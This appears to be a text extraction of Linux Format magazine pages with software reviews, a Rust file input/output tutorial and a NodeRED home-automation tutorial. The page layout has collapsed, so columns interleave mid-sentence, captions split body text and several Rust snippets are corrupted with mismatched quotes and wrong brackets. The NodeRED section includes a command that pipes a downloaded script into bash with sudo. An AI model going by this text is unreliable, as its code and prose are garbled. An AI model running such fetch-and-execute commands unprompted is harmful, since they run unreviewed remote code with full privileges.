only directories and supported audio files. The browser its documentation. You also have the option to run Siren
view can be used to browse through the file system and from the source directory, without installing it first.

The project’s
TAG DATA VIEWER website hosts an
online variant of
MediaInfo that

MediaInfo can display the

metadata about
your files in your
web browser,
Version: 22.03 Web: https://mediaarea. securely without
uploading the files.
net/en/MediaInfo

A
re you the curious type? Then you can use
MediaInfo to view all kinds of technical details
about your media files, along with the tag
information for many audio and video files.
MediaInfo supports popular video formats, including
Matroska, WebM, DivX, XviD, AVI, WMV, QuickTime and
Real, as well as lesser-known or emerging formats. The Similarly, if the file is made up of multiple chapters then
cross-platform tool has both a command-line interface the tool will also display all relevant information about
and a graphical interface to display the information. the chapters as well.
The tool first displays data about the file’s container MediaInfo supports various views. The default is
such as its format, the format profile, codec ID, bitrate, the Easy view that collates the information and
date of encoding and other general details. This is displays it as meaningful information. Advanced
followed by details about the video, including the name media manipulators can switch to a different view
of the format, codec ID, aspect ratio, frame rate, bitrate, to show all the information in excruciating details. You
stream size and more. Next up, similar type of details can also export the displayed information in various
are displayed about the audio such as the format of the formats including plain text, CSV, HTML and more.
stream, its codec id, sample rate, channels, bit depth, as The tool has binary packages for virtually all popular
well as the language of the stream. distros such as Debian, Ubuntu, Fedora, OpenSUSE,
If your file has subtitles, MediaInfo will also display and Linux Mint. Furthermore, the project also produces
relevant details such as the language of the subtitles, Flatpak, AppImage and a Snap for the program, making
and number of included elements, or lines of text. it fairly easy to install in your distro.

www.techradar.com/pro/linux July 2022 LXF290 87

HOTPICKS

KEYBOARD SOUNDS

Mechvibes
Version: 2.3.1
Web: https://mechvibes.com
ot everyone will have experienced typing on a

N mechanical keyboard, and therefore won’t

understand what the fuss is all about.
Mechvibes enables you to have a slice of the experience,
at least from a sound perspective. Mechvibes has a voice sound pack that could help vision impaired users type a little easier.
Mechvibes’ author describes the program as a side
project that he put together to irritate his family and One of MechVibes’ best features is its editor. This
friends by making his non-mechanical keyboard sound enables you to edit existing sound packs or create one
just like a mechanical one. The application has an from scratch, and share them with other MechVibes
intuitive user interface that you can use to customise users. To add custom keyboard sounds, you can record
the sound for the keys on your keyboard. It includes any sound you like and then map them to the keys from
various themes to help you select the best mechanical within the program. The latest release adds a whole lot
keyboard sound that appeals to you. Helpfully, of custom sound packs. It also makes available a
Mechvibes also enable you to adjust the volume for your shortcut in the system tray that you can use to quickly
faux mechanical keyboard. mute MechVibes. Similarly, there’s also a new option
Furthermore, in addition to the standard sounds that that you can use to launch the program during startup.
come along with the tool, Mechvibes offers a couple of Mechvibes is a cross-platform that besides Linux,
options to add additional sounds in a couple of steps. also runs on Windows and MacOS. The program
One option is to use the More Sounds button that takes produces a .deb binary, but there’s an AppImage, and
you to the developer’s website where you can download Mechvibes is also listed in the Snapcraft store, making it
additional sound packs. fairly straightforward to get started.

Despite its name,

YOUTUBE DOWNLOADER yt-dlp can fetch
videos from
hundreds of video

yt-dlp sharing services.

Version: 2022.04.08
Web: https://github.com/yt-dlp/yt-dlp

t-dlp is a fork of the popular youtube-dl script Interestingly, you can also mark or remove sponsor

Y and also takes inspiration from the now-

inactive youtube-dlc. The main focus of this
sections in YouTube videos by utilising the
SponsorBlock API.
project is adding new features and patches while also One of the best things about yt-dlp is that its
keeping up to date with the original project. developers have put in quite a bit of thought to select
The utility is dexterous and can download videos the right default options depending on how the program
from all types of feeds and private playlists. It can also is used. For instance, it’ll download the best available
fetch tracks from YouTube Music, as well as entire quality if you don’t pass any options. However, this
channels. The release also has an experimental feature setting will change automatically if multiple
to download live streams from the beginning. You have audiostreams are enabled, or if the tool can’t find
the option to split the downloaded videos into multiple ffmpeg on the system.
files based on chapters, and the script can speed up The project has pre-compiled binaries for Linux, and
downloads by downloading multiple fragments of a can also be installed from Python’s pip package installer.
video in parallel. Given its command-line nature, and rich set of features,
The main focus of yt-dlp development is adding new our advice to first time users would be to peruse
features and fixes, as well as keeping all the relevant through its usage documentation on the project’s
features of the original project, such as format sorting. website. This will not only familiarise you with the
For instance, as compared to the youtube-dl script, the scripts options, but also help you appreciate the tool’s
default format sorting options have been changed in flexibility offered by the tool. You can configure yt-dlp
yt-dlp so that higher resolution and better codecs will be by placing any supported command line option to a
now preferred instead of simply using larger bitrate. configuration file.

88 LXF290 July 2022 www.linuxformat.com

 Games HOTPICKS

ROLE-PLAYING GAME

Eternal Lands
Version: 1.9.6
Web: www.eternal-lands.com
ternal Lands (EL) is a multiplayer, online role-

E playing game (MMORPG) set in a fictional

medieval fantasy world. The game offers
everything you’d expect from such a setting, such
as period-accurate weapons and architecture. EL isn’t just about combat, either. The game If you don’t want
Complimenting these are several other fictional developers insist that instead of waging battles, to read through
documentation, be
elements that you get in other games with a similar many players focus on more peaceful activities
sure to talk to the
setting, including other humanoid races and magic. such as collecting resources and creating items. tutorial NPC who’ll
The game has over a dozen maps across two The game is available as a Snap, Flatpak and set you up with
continents. Players begin play by selecting the race, AppImage, so getting started is a piece of cake. The the basic gear you
name and appearance of their character. Skills, abilities movement and interactions should be familiar to need to survive
and make money.
and alignments are automatically given initial values. anyone used to playing MMORPGs. However, the
The game offers several races such as humans, elves game has an extensive wiki that new players are
and dwarves. Three of the offered races are pay-to-play encouraged to read through to familiarise themselves
races and players must pay a fee to play a character of with EL, its terminology and the various maps.
one of these three races. Everyone starts with the Isla Prima map, which
Like its peers, EL offers a handful of skills, including includes a tutorial NPC who can take new players
attack, defence, alchemy, magic, potion, summoning, around EL. There are various animals on Isla Prima
crafting and engineering. One of the good things about but no monsters. The tutorial NPC can also heal
the game is that there are no fixed class restrictions, players for free while their attack level is below a
which enables players to freely develop their character. certain threshold.

RACING SIM

Speed Dreams
Version: 2.2.3
Web: www.speed-dreams.org

peed Dreams is a motorsport simulation and

S racing game, which began life as a fork of the

venerable Torcs racing car simulator. Thanks to
constant improvements over the years, Speed Dreams
has now grown to include several interesting features,
cars, tracks and AI opponents, and offers a more One of the best things about the game is its Speed Dream
enjoyable experience, and excellent physics realism. accurate driving behaviour, thanks to its various developers are
so proud of their
The game offers several different racing modes, from physics engines. The new release includes an
realism that they
a simple practice session to a full-time career. The latest experimental Simu V3 physics engine, too. invite researchers
release adds three new car sets, namely 1936 Grand Speed Dreams offers customisable daytime and to use their
Prix, Supercars and Long Day Series GT1, each featuring weather conditions, supports up to four local physics and AI as a
a variety of cars and car classes. In all, the game multiplayer users in split-screen mode, and includes teaching resource.
includes a total of 82 cars under 16 different car sets. several different AI bots to race with. The game can
Speed Dreams also includes animated drivers on the be played with a variety of input devices, though
1936 Grand Prix cars, and offers 3D wheels for all cars. support for force feedback is still under development.
The new release boasts of brand new gauges, new A lot of work has been done over the years to
liveries for all the cars, as well as an updated version of improve not just the game, but also the player
the original TRB1 car set from TORCS, with a more experience. The graphics, time, and weather settings,
realistic behaviour. The game includes a variety of and game modes have matured quite well. Speed
tracks, and the addition of the three new ones in the Dreams is available as an AppImage and a Flatpak, as
latest release brings the total number of tracks to 21. well as a XtraDeb PPA for Ubuntu users.

www.techradar.com/pro/linux July 2022 LXF290 89

HOTPICKS

BACKUP UTILITY

Snap Backup
Version: 6.4.0
Web: https://snapbackup.org
ne of the reasons why many people fail to take

O backups is because the popular programs for

the task are too complex to use. That’s
because in their bid to offer their users more bang for
the buck, they pile on options and features that only
make the tool unapproachable for first-time users.
In stark contrast, Snap Backup bills itself as a simple, The tool offers no frills, and isn’t a good option for Snap Backup can
one-click backup tool that creates backups of select users that crave for more dexterity. So, for instance, optionally create a
copy of the backup
files and folders inside a compressed archive, and you can’t use Snap Backup to backup entire disks,
to another location
nothing more. It doesn’t include any other options, or take incremental backups. It also lacks any for safe keeping,
whatsoever. That’s because the application is designed automation features, although it’s possible to set it up like a USB drive or
for people who just want to back up their data files, and with a cron job to take backups on a fixed schedule. an external disk.
nothing else. The good thing about Snap Backup is that it supports
Snap Backup has a simple, intuitive interface that’s different profiles for different users, and you can also
easy to navigate. You begin by selecting the directories filter the contents that are meant to be backed up.
you want to back up, before selecting the destination Snap Backup is written in Java and can be run on
location, which can be a separate internal drive, a any operating system that supports Java 5 or greater.
removable one. And that’s about it for your options. Although the program is fairly simple to operate it
Hit the Backup Now button and the application will does come with a user manual. We’d advise first
save the selected files and folders in a compressed timers to quickly browse through it to understand
ZIP archive on the destination. the best practices for taking backups.

Ugrep includes
ADVANCED GREP built-in help, for
instance, ugrep
--help regex will

ugrep display detailed

information
about its support
for regular
Version: 3.7.9 expressions.

Web: https://github.com/genivia/ugrep

G
rep is one of the oldest Unix commands. In
addition to fixed search terms, it can also
search for patterns with wildcard characters. can apply search patterns in ugrep excluding negative
Virtually all Linux distros ship with the GNU variant of patterns. They let you, for example, ignore matches if
grep, which extends the features of the original grep in they occur in comments.
some places, most notably, allowing recursive searching Ugrep supports archive types including CPIO,
in directories. JAR, PAX, TAR and ZIP, compressed with all common
Ugrep is a faster, user-friendly variant of grep that methods (BZIP, GZ, LZ and XZ). In addition, you can
uses new match algorithms for ultra-fast operations. use filters to prepare data in special formats in
It’s written for advanced users who can appreciate and advance. For example, PDF documents can be
make good use of its rich set of features and speed. converted to text with a filter, before ugrep performs
For all intents and purposes, ugrep is a drop-in the search.
replacement for the standard GNU grep utility, and also The latest version of ugrep introduces a new option
supports all its options. It can match Unicode patterns that opens a query text-based user interface (TUI)
by default in UTF-8, UTF-16 and UTF-32 encoded files, that searches files as you type. The output can be
as well as match across multiple lines with \n and \R sorted by name, best match, size and time, and can
regex patterns. be exported in CSV, JSON, XML and other formats.
Moreover, ugrep can find approximate pattern Linux users can build ugrep manually following the
matches with fuzzy search, and can search with Google- instructions on its website. However, it’s also available
like Boolean query patterns, which can also be applied in the repos of some mainstream distros such as
to files as a whole. Another useful feature is that you Debian, and Ubuntu.

90 LXF290 July 2022 www.linuxformat.com

CODING ACADEMY
CODING ACADEMY

RUST

Code read/write
system file tools
So, you woke up today wanting to know how to use file input and output
calls to code system tools in Rust? Then Mihalis Tsoukalos can help.

he subject of this tutorial is file input and

T output (I/O) in Rust. File I/O is an important

part of every operating system. An OS or even
a database system wouldn’t be able to function without
being able to process, read, write and append to files.
OUR Apart from file I/O, in this tutorial we’re going to learn
EXPERT about error handling in Rust and the handy vector data
type. In Rust, proper error handling is directly connected
Mihalis to pattern matching as well as the Result and Option
Tsoukalos data types, which we’ll also touch upon.
is a systems
engineer and File descriptors
a technical A UNIX file descriptor is a positive integer value. UNIX
writer. You can supports three special and standard filenames: /dev/
reach him at stdin, /dev/stdout and /dev/stderr. These can also be Here’s the code of errorHandling.rs as well as its output with and
@mactsouk. accessed using file descriptors 0, 1 and 2, respectively. without the RUST_BACKTRACE environment variable set. RUST_
In addition, file descriptor 0 can be accessed using BACKTRACE can obtain a more detailed output in case of an error.
/dev/fd/0 – remember that in UNIX and in Linux
everything is a file. Later in this tutorial, we’re going to We try to match a variable named m that’s of the
discuss the use of stdin, stdout and stderr in Rust. Now MyValues type, which is an enum defined earlier.
that we know about file descriptors, let’s crack on with MyValues has only three possible values (according to
pattern matching in Rust. its definition), so there’s no need for a default branch.
Running enums.rs prints the x: 3 y: 5 message because
Pattern Matching the value of m is equal to MyValues::XY{x:3, y:5} .
Pattern matching can be handy, but should be used In practice, this means that pattern matching with
A Rust trait is with caution because it can create bugs and unforeseen enums is safer because you already know the finite
a collection side-effects. In Rust we use the match keyword for values that you’re looking for. If you want to perform
of methods pattern-matching operations. A match statement more complex tasks that require the use of regular
defined for an should catch all possible values of the used variable, expressions, then the regex crate (https://github.com/
unknown type: so having a default branch at the end of the block rust-lang/regex) might be more appropriate for your
Self. Put simply, is common practice. The default branch is defined job. In that case, you should create a Cargo project that
a trait describes
with the help of the underscore character, which is a includes regex as one of its dependencies.
an abstract
synonym for the “catch everything that’s not specifically
interface
that can be matched” case. There are some rare situations where a Error handling
implemented default branch isn’t required – once such case is a Being able to handle errors is important in all system
by other data condition that can be either true of false. Another such operations and utilities. There are two main approaches
types. So case is when we examine the finite values of an enum to error handling, not only in Rust but in general: either
traits define a data type – this is illustrated in enums.rs. The logic of handle the error condition and continue program
behaviour. See enums.rs is found in the following match block: execution; or stop program execution until the error is
https://doc. match m { corrected. Neither of them is perfect. Most of the time a
rust-lang.org/ MyValues::One => println!{"One"}, combination of both works better. However, there are
std/io/trait.
MyValues::Two => println!{"Two"}, situations where an error condition is so severe that the
Read.html.
MyValues::XY{x, y} => println!{"x: {} y: {}”, x, y}, program needs to stop. This includes situations such as

92 LXF290 July 2022 www.linuxformat.com

 System file tools CODING ACADEMY

no network connectivity or the absence of a key The Rust code

of read.rs, which
resource like a configuration file or an data file.
illustrates how to
In errorHandling.rs we present both approaches. The read a plain text
important part of errorHandling.rs is the following: file using a buffer.
match a { The buffer size
Some(v) => println!("x: {}”, v), specifies the size
of the chunks that
None => println!("Error but continue!"), you read from
} the input file in
If the a Option value contains an actual value, then each iteration.
this value is printed on screen. If the value of a is None,
then the program is going to print an error message and
continue its execution. This means that you can have
recoverable errors when you’re using Option – and the
same applies to Result. using a buffer makes more sense when you don’t
The screenshot (left) shows the Rust code of know how you’re going to process the file. Later on
errorHandling.rs as well as the output when using the in this tutorial we’re going to learn how to read a plain
RUST_BACKTRACE=1 environment variable. Rust uses text file line by line.
panic!() for forcing program termination when there’s The screenshot (above) shows the code of read.rs
an unrecoverable error – no code is executed after a call where you can see the while loop used for reading the
to panic!() . entire input file. The read operation is implemented with
multiple calls to input_file.read(&mut buf) – the data is
Reading a file stored in the buf variable in UTF8 encoding, which is the
Rust uses readers and writers for reading and writing to reason for using std::str::from_utf8() in order to print it
files, respectively. A Rust Reader is a value that you can as plain text on screen.
read from, whereas a Rust Writer is a value that you can Note that in Rust files are automatically closed when
write data to. There are various traits for readers and they go out of scope. Therefore you are not going to see
writers, but the standard ones are std::io::Read and a close() method for closing a file that you opened or
std::io::Write , respectively. Similarly, the most created. At this point you can compile and use read.rs
common and generic ways for creating readers and on your own and maybe experiment with it a little. The
writers are with the help of std::fs::File::open() and next section is about creating a new empty file.
std::fs::File::create() , respectively. Note that
std::fs::File::open() opens a file in read-only mode. Creating a new file
The logic of read.rs is found in this code excerpt: In this section, we’re going to illustrate how to create a
let mut input_file = File::open(input).unwrap(); new empty file. The technique is illustrated in create.rs
let mut buf = [0u8;BUFFER_SIZE]; and its core functionality can be found in this statement:
The first statement opens the desired file for reading std::fs::File::create(input).expect("File creation failed!");
only, whereas the second file creates a buffer for The empty file is created using the File::create()
reading the file in chunks. Although there are Rust function. The expect() part at the end of the
functions for reading a file line by line or all at once, File::create() function call is going to be executed if

EXPECT AND UNWRAP

Both expect() and unwrap() are used extract its data as follows: program. However, expect() allows you
with the Result and Option data types match get_result() { to set a custom panic error message. In
and allow you to deal with error and Ok(v) => println!("{}”, v), practice, this means that if you want to
unexpected conditions. Put simply, they Err(e) => println!{"get_result() error: avoid panicking and handle an error
allow you to get the value from a Result {}”, e}, condition the way you want, you should
or Option variable, if it exists, or deal with } use a match block instead. Last, if you
the error condition the way you want to. Similarly, having an Option value want to panic from inside a match block,
The generic format of a Result value is returned by a function named get_ you can replace println!() with panic!() .
<&a_value, Error> , which means that we option() , we can extract its data as All these and many more are illustrated in
can either get Ok(&a_value) if it exists or follows: expect.rs. Running expect.rs generates
get an Err(Error) value whereas the match get_option() { the following output:
generic format of an Option value is Some(v) => println!("{}”, v), $ ./expect
Option<&a_value> , which means that we None => println!("get_option(): No a_value: 123
either get a valid value Some(&a_value) value!"), get_result() error: This is an error
or None . Bear in mind that Some is a } message.
data constructor. You can learn more Both presented cases are easy to x: 123
about Option and Some by visiting understand, but require you to write thread ‘main’ panicked at ‘get_result()
https://doc.rust-lang.org/std/option/ some extra code. This is where unwrap() invalid input: “This is an error
enum.Option.html. and expect() come into play. The message.“’, expect.rs:31:26
Having a Result value returned by a expect() call is similar to unwrap() in Use a RUST_BACKTRACE=1 environment
function named get_result() , we can the sense that they both panic your variable to display a backtrace.

www.techradar.com/pro/linux July 2022 LXF290 93

CODING ACADEMY System file tools

there’s an error condition in the process. So, if you see

the error message, it means that the file creation has
If you’re keen to failed and the program execution is going to stop. The
experiment with expect() part and its connection to unwrap() are
file I/O in Rust, explained elsewhere in this tutorial.
you can try Using create.rs will verify its functionality:
implementing $ ./create /tmp/newFile.txt
the cat utility.
File created!
You could also
$ ls -l /tmp/newFile.txt
write a utility
that reads -rw-r--r-- 1 mtsouk users 0 Nov 2 19:45 /tmp/newFile.
plain text files txt
and replaces $ ./create /tmp/newFile.txt
a predefined The /tmp/newFile.txt path already exists! Here you can see the source code of byLine.rs, which processes plain
string with First, we execute the utility in order to create an text files line by line using a reader.
another one, empty file (/tmp/newFile.txt). Next, we verify that
and then writes /tmp/newFile.txt is there and that it’s empty. As seen exists, which is being tested before trying to open the
the output to a in the last command, if we try to create a file path that file. Finally, the write operations are implemented with
different file.
already exists, the utility isn’t going to proceed for the two file.write_all() calls. We test append.rs with
security reasons. $ ./append /tmp/appendFile.txt
Now that we know how to create a file, it’s time to /tmp/appendFile.txt does not exist!
learn how to write data to it. $ touch /tmp/appendFile.txt
$ ./append /tmp/appendFile.txt
Writing to a file $ ./append /tmp/appendFile.txt
For write.rs to work, the destination file shouldn’t exist Execute cat /tmp/appendFile.txt to make sure that
in advance – this prevents you from overwriting existing /tmp/appendFile.txt contains the expected data.
files. The important part of write.rs is presented here:
let mut file = File::create(input).expect("Cannot open Standard things
file.“); In this section, we see the use of stdin , stdout and
file.write_all("LXF\n”.as_bytes()).expect("Write stderr as presented in stds.rs. The logic of stds.rs can
failed!"); be found in the use of std::io::stdin() , std::io::stdout()
First, we open the file for writing using a call to and std::io::stderr() for stdin , stdout and stderr ,
File::create() and then we write as much information to respectively. All three can be assigned to variables and
it as we want using a single or multiple write_all() calls used as such. Interacting with stds.rs produces the
– in this case using a single call. As it happens with following output:
reading, we don’t have to close the file after we finish $ ./stds
writing. According to the UNIX philosophy, write.rs Please give me your name:
produces no output on a successful operation and an Linux Format
error message in case of failure. 13 bytes read
Another operation that’s similar to writing is Your name is Linux Format
appending to an existing file. The append.rs file shows This is an error message!
that technique, which is based on the following code: That is another error message!
let mut file = OpenOptions::new().append(true) Writing to stdout!
.open(input) Rust uses the eprint!() and eprintln!() macros for
.expect("Cannot open file.“); writing to standard error, which is a pretty handy
So, we’re using OpenOptions::new() with the approach. Alternatively, you can write text to standard
append(true) option to declare that we want to open error via std::io::stderr() . The next section shows how to
the input file for append. The screenshot (below) shows read a plain text file line by line.
the code of append.rs. Remember that append.rs
requires that the file which is going to be used already Line by line
Reading a file line by line is handy because most of the
times this is how we process plain text files. The logic of
byLine.rs is found in the following statements:
let file = BufReader::new(File::open(&input_path).
unwrap());
for line in file.lines() {
let my_line = line.unwrap();
println!("{}”, my_line);
}
The input file is opened using BufReader::new() and
File::open() and read using a for loop that keeps going
for as long as there is something to read from the given
Here’s the code input file. The for line in file.lines() statement is what
of append.rs that
shows how to open
reads the file line by line. The screenshot (above) shows
an existing file for the Rust code of byLine.rs, which can accept and
append in Rust. process multiple command line arguments.

94 LXF290 July 2022 www.linuxformat.com

 System file tools CODING ACADEMY

THE VECTOR DATA TYPE

The Vector data type is very popular in You can select the part of a Vector that The same is going to happen if you use
Rust, so it deserves some extra attention. you want to access using an index range, pop() on an empty vector. The solution to
First of all, a Vector is like an array. As is as occurs in read.rs. So, for a vector both issues is to use a match block to
the case with arrays, index values start named a_vector, you can select its first check whether you’re trying a valid
from 0. The main advantage of vectors two elements by writing &a_vector[0..2] . operation or not.
over arrays is that vectors can be resized, You can iterate over the elements of a All these and many more are illustrated
provided that they’re declared as vector in various ways. One such way in vector.rs. Feel free to look at the code
mutable. You can put or remove vector is by using a for loop using the index of of vector.rs and experiment with it.
elements using pop() and push(), the element you want to access. Another Running vector.rs produces the following
respectively. Additionally, apart from the approach is to use an iterator, which for type of output (some output is omitted):
size, which is the number of elements a_vector is called as a_vector.iter() , to a_vector is: [2, -2, 12]
stored, a vector has a capacity, which is obtain all vector elements one by one. The first element of a_vector is 2
the amount of memory reserved for the Remember that if you use an index value ...
vector. Finally, a vector represents a greater than or equal to the length of an_element is None
pointer to the data. the vector, your code is going to crash. Pop(): it is not defined!

Let’s take this knowledge and implement the The logic of copy.rs is found in the following statements:
functionality of the wc command line utility in Rust. let read_bytes = input_file.read(&mut buf).unwrap();
This tool can process multiple files and create a if read_bytes!=buf.len() {
summary at the end. The core functionality of cont=false
wc.rs can be found in the next for loop: }
for line in file.lines() { The previous code states that we should keep
let my_line = line.unwrap(); reading the input file using a buffer and that we should
total_lines = total_lines + 1; stop the process when the bytes that were read are
total_words += my_line.split_whitespace().count(); smaller than the buffer size, because in that case it
total_chars = total_chars + my_line.len() + 1; means that there’s nothing more to read from the input
} file. The entire code of copy.rs is surprisingly small for
What the previous code shows is how to count the such an important and powerful utility. We print a .
number of lines, words and characters of the input file. each time we write to the output file in order to keep
Calculating the number of lines when reading a file line track of the progress of the utility.
by line is straightforward and requires updating a As you might have observed from the presented
counter ( total_lines ) each time a new line is read. code in this series of tutorials, the core functionality
The number of words in a line is found by splitting of almost all utilities is implemented in just a small
the line in words based on the whitespace characters collection of statements. However, most of the
and counting the number of words. The number of remaining code is about making sure that we obtain
characters is calculated using the length of the line plus a valid input and identify potential error conditions.
one to include the newline character at the end. Reliability is important in systems programming. Next
The screenshot (below right) shows part of the code month’s Rust tutorial is going to discuss working with
of wc.rs. The logic and the flow of wc.rs is heavily based UNIX processes and signal handling
on the code of byLine.rs. Apart from the code example The help page of std::io can be found by visiting
presented earlier in this section, wc.rs has three https://doc.rust-lang.org/std/io. The most widely used
additional variables for updating the total number of aspects of std::io are the Read and Write traits, which
lines, words and characters of all files that have been provide the most generic interfaces for the reading and
read so far. If wc.rs has to process a single plain text file writing functionality.
only, then no summary is printed at the end.
Additionally, notice the use of the count() method
instead of len() to calculate the length of a line. This
happens because the output of the len() function and
the output of the chars().count() function might not be
the same when dealing with text files that contain
Unicode characters. For an ASCII file, their output
should be the same. Bear in mind that if you want to
allocate a buffer to store a given string, the len()
function is the correct choice. This screenshot
shows the Rust
Copying a file code of wc.rs,
which implements
In this final section we’re going to write a utility that the functionality of
copies a file by reading it in small chunks using a buffer. the wc UNIX utility.

EXPERIENCE OUR I/O SYSTEM… Subscribe now at http://bit.ly/LinuxFormat

www.techradar.com/pro/linux July 2022 LXF290 95
CODING ACADEMY NodeRED control

NODERED
Use Home Assistant
NodeRED devices
NodeRED is a graphical programming language that’s ideally suited
to IoT, electronics and home automations, reveals Matt Holder.

odeRED is an open source graphical username and password established during the setup

N programming environment that can be used to

complete a large number of tasks. Graphical
process and look at the welcome wizard, which details
some useful tips. The final step to configure NodeRED is
programming languages tend to be more intuitive than to install the counter module. This can be done by using
textual programming languages and can be easier to the Settings menus and using the controls in the GUI.
OUR learn. Support is built into Raspberry Pi OS. Useful (Hamburger Menu> Settings> Palette> Install) and
EXPERT libraries are pre-installed, which include access to the
Pi’s General Purpose Input Out (GPIO) pins, so that
search for node-red-contrib-counter .

Matt Holder programs can access input and output devices in the Go with the flows
has worked in IT real world. Using this library, the NodeRED system can NodeRED has a large number of Nodes available as
support for over a use real-world data to perform tasks. NodeRED uses the standard and these enable Flows to be built consisting
decade. He’s has terminology of Flows to represent programs, while of input, output and other actions. For our first example,
always tried to Nodes are added to the canvas to build flows. the diagram (bottom left) details a Flow, which takes the
utilise Linux This article will focus on both the NodeRED value from a switch and increments a counter based on
alongside the integration with Home Assistant and how it can be the switch being pressed. When the counter increments,
other installed used to create powerful automations based on many a log message is reported, which details the new value.
systems. different data sources as well as its usage from within An LED is also flashed whenever the switch is pressed.
Raspberry Pi OS. First of all, Raspberry Pi OS will be The simple circuit diagram (right) shows what’s required
used. This can be installed by using the Raspberry Pi to enable this Flow to work as expected.
Imager tool. Download and open the GUI (www. Stepping through this Flow from left to right, the first
raspberrypi.com/software) and select which Node is from the Raspberry Pi palette (at the bottom of
memory card the image should be written to: the toolbox) and is the RPi-GPIO In node. Drag this to
$ sudo bash <(curl -sL https://raw.githubusercontent. the canvas and double-click to open the options. Select
com/node-red/linux-installers/master/deb/update- the pin to be used (this example uses 13 or GPIO27) and
nodejs-and-nodered) select Pulldown from the resistor options.
$ node-red admin init The second blue Node is of type RPi-GPIO Out. Edit
When running the latter command, follow the the options and set the pin to 11 or GPIO17. Select the
prompts in the wizard to set options. Once a username Initialize Pin State button and then set the value to high.
and password has been set, enable the service: A Flow containing these two Nodes would turn on the
$ sudo systemctl enable nodered.service LED whenever the button is pressed. The first yellow
Finally, reboot the Pi. When logged in again open a Node is of the Switch type. Drag this Node to the canvas
browser and visit http://<YOUR_IP>:1880. This web GUI and open the options. Leave Property set to msg.
can also be visited by another device on the network – it payload and in the box below add the value of 1.
doesn’t have to be the Pi itself. Log in using the Next, drag the Counter node to the canvas. The
default setting should be fine. The final Node to drag to
the canvas is the green Debug node. Open the options
and change the Output box from msg.payload to msg.
count. Once all Nodes are added to the canvas and the
This shows how a flow can turn
options set, they can be joined together. Drag from the
on an LED when the switch dot on the right-hand side of one Node to the left of
is pressed. Also, a counter is another and this joins the output of one to the input of
incremented and output shown another. Join the Nodes together so that they resemble
in the debug panel.
the breadboard circuit diagram (page 96).

96 LXF290 July 2022 www.linuxformat.com

 NodeRED control CODING ACADEMY

Once the Flow has been built it needs to be deployed.

Select the Deploy button in the top-right corner of the
screen and follow any pop-ups that are shown. To test
all parts of the Flow, select the picture on the right-hand
side of the screen that resembles a small insect or bug.
This is the Debug panel and is where the counter
increment messages can be seen. Now, press the switch
and the LED will light. When the switch button is no wide range of local and cloud-based home automation This flow sends
longer being pressed the LED will switch off. Also, for systems/protocols. These entities can be referenced a notification
between the hours
each press of the button, a debug message will show, from NodeRED to form the basis of any automation.
of 07:00 and 17:00,
which will show an incremented number each time. When creating automations directly in Home when an entity
Assistant, one needs to consider three items. First is changes value.
Adding NodeRED to Home Assistant the Trigger. For example, this could be the temperature
Getting started with Home Assistant is easy and images rising to a value above 20°C. The second item is
of the operating system, supervisor and project itself Conditions. These conditions determine whether
are provided by the team and can be run on a Raspberry actions should run. For example, notifications of a rise
Pi. To utilise NodeRED with Home Assistant, an Add-On in temperature will only be required during waking
will need to be installed. Navigate to the Add-On store, hours. The third item to consider is Actions. These Need a quick
search for and install NodeRED, ensuring to set the can be used to send a Notification, set the value of a reference to the
Pi pins then the
Start at boot, Watchdog and Auto-update options. Helper field or trigger another automation.
pinouts for the
Start the Add-On and then move on to the These areas can also be recreated in NodeRED
Raspberry Pi
configuration, which will require a username and by using different Node types. The trigger can be can be seen at
password to be set in the http_node and http_static implemented by using the Events:state node. Add this https://pinout.
stanzas. Once set, restart the Add-On and use the link to the canvas by dragging from the toolbox on to the xyz.
within the Add-Ons settings pages to open the interface. canvas. Double-click the Node and select which entity
Note that when using NodeRED from within Home from Home Assistant contains the relevant data. Within
Assistant it’s not possible to access GPIO ports. this Node, options can also be set to control how a value
As well as what has already been described, entities needs to be changed before a flow is triggered. Without
and services from Home Assistant can be referenced. setting these extra options, the flow will be triggered on
Within Home Assistant, entities are used to store the any change of the entity.
values from hardware and software integrations from a Conditions can now be set by using a Time_range
node. Within the settings for this Node, select what the
criteria are for each output. Actions are added following
the outputs from the Time_range node. Finally, the Call_
service node is used to fire a service called Telegram
within the notify domain. The diagram (above) shows an
example of a Flow, where a Home Assistant entity is used
to trigger a Telegram notification. When a switch within
Home Assistant changes state from Off to On, two
notifications are sent to Telegram via a Home Assistant
service. Both notifications are triggered in parallel.
This is different to Home Assistant automations,
where parallel processing of actions would require
two separate automations to be configured.
NodeRED and Home Assistant automations can both
achieve the same results, but when more complicated
Here’s the breadboard circuit diagram accompanying the NodeRED automation events are required NodeRED is probably
flow shown on the facing page. the more suitable option to go for.

BREAD BOARD AND SIMPLE ELECTRONIC COMPONENTS

We’re using the GPIO pins to interact voltage of 3.3V is being used. Normally that if this resistor between the switch
with the outside world, because a lot of we’d use the red line for a positive voltage and 0V was omitted the input would
these pins can either be set up as input and a blue line for 0V. “float” and the Raspberry Pi wouldn’t
or output. We’re using one as an input to Between the sets of horizontal lines know which value is being inputted and
read the switch input and the other as are a series of vertical lines, which are would quickly fluctuate between the two.
output to switch on and off the LED. used to build our circuit. The switch is The LED has two pins. The longer one is
At the top and bottom of the configured in a pull-down configuration. for a positive voltage and the shorter one
breadboard are red and blue lines. These When the switch isn’t pressed a value of for 0V. LED voltages vary, but a resistor
lines can be used to carry either 5V or 0V will be fed into the GPIO pin. When needs to be used so that the LED isn’t
3.3V from the Raspberry Pi and the 0V pressed, 3.3V is fed into the GPIO pin. destroyed by excess voltage. A 1K ohm
signal as well. In this article a positive The reason for using this configuration is resistor for both purposes would suffice.

www.techradar.com/pro/linux July 2022 LXF290 97

NEXT MONTH

FAST VIRTUAL
The #1 open source mag

Future Publishing Limited,

Quay House, The Ambury, Bath, BA1 1UA

MACHINES
Email [email protected]
EDITORIAL
Editor Neil Mohr
Black-hoody editor Jonni Bidwell
Art editor Efrain Hernandez-Mendoza
Operations editor Cliff Hope
Group editor-in-chief Graham Barlow
Group art director Jo Gulliver
Editorial contributors
Michael Bedford, Neil Bothwick, Sean Conway, Dave
James, Matthew Hanson, Matthew Holder, Jon
Masters, Nick Peers, Aaron Peters, Les Pounder,

Virtual life makes everything Michael Reed, David Rutland, Mayank Sharma,
Shashank Sharma, Mihalis Tsoukalos
Cover illustration magictorch.com

repeatable and reproducible.

The “WordPress” word mark is a trademark of the WordPress
Foundation.
